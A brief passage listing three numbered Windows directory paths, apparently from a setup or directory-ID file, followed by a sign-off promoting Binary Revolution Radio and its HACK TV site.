137 = ime\imejp98
138 = ime\imejp\applets
180 = system32\3com_dmi



Binary Revolution Radio
Changing the world one hack at a time. 

HACK TV
www.binrev.com/hacktv




